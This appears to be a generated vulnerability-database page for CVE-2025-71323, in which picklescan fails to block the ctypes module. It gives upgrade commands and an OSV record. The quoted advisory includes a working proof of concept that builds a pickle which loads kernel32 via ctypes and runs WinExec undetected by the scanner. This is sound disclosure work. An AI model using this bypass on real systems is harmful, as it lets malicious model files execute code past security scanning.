CVE-2025-71323: Picklescan Picklescan Does Not Block Ctypes Vulnerability
HIGHCVE-2025-71323 is a HIGH (CVSS 9.8) picklescan does not block ctypes vulnerability (CWE-913: Improper Control of Dynamically-Managed Code Resources) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan does not block ctypes. Remediation is available by upgrading affected packages to version 0.0.33.
CVE-2025-71323 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-71323
To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install picklescan>=0.0.33
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show picklescan
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-71323, inspect your installed packages using pip:
pip show picklescan
Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.33), your application is affected.
Note: The pip show picklescan command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-913: Improper Control of Dynamically-Managed Code Resources, where the product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-71323 Affected Picklescan Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
picklescan
|
PyPI |
< 0.0.33
|
0.0.33
|
References
Frequently Asked Questions
What is CVE-2025-71323?
Which Picklescan versions are affected?
What version fixes CVE-2025-71323?
Is picklescan affected?
What is the CVSS score of CVE-2025-71323?
What CWE is associated with CVE-2025-71323?
How can I check PyPI dependencies for CVE-2025-71323?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4675-36f9-wf6r",
"modified" : "2026-06-18T14:44:57Z",
"published" : "2025-12-29T15:23:49Z",
"aliases" : [ "CVE-2025-71323" ],
"summary" : "Picklescan does not block ctypes",
"details" : "### Summary\nPicklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to\n* Load DLLs\n* Call C functions directly\n* Manipulate memory raw pointers.\n\nThis can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.\n\nThis is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected\n\n### PoC\n```python\nimport pickle\nimport ctypes\nimport operator\n\nclass Kernel32Loader:\n def __reduce__(self):\n #we go direct to the kerneeellllllll\n return (ctypes.WinDLL, (\"kernel32.dll\",))\n\nclass WinExecGetter:\n def __reduce__(self):\n return (operator.itemgetter(\"WinExec\"), (Kernel32Loader(),))\n\nclass PopCalc:\n def __reduce__(self):\n #methodcaller to invoke \"__call__\" on the function pointer.\n return (\n operator.methodcaller(\"__call__\", b\"calc.exe\", 1), \n (WinExecGetter(),)\n )\n\ntry:\n payload = pickle.dumps(PopCalc())\n \n with open(\"calc_exploit.pkl\", \"wb\") as f:\n f.write(payload)\n \n print(\"Generated 'calc_exploit.pkl'\")\n\nexcept Exception as e:\n print(f\"Generation failed: {e}\")\n```\nThis will create a pickle file which is not detected by the latest version of picklescan as malicious\n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"calc_exploit.pkl\", \"rb\"))\n```\n\n<img width=\"1333\" height=\"677\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176\" />",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "picklescan"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.33"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-71323"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/pull/53"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mmaitre314/picklescan"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184", "CWE-913" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-12-29T15:23:49Z",
"nvd_published_at" : null
}
}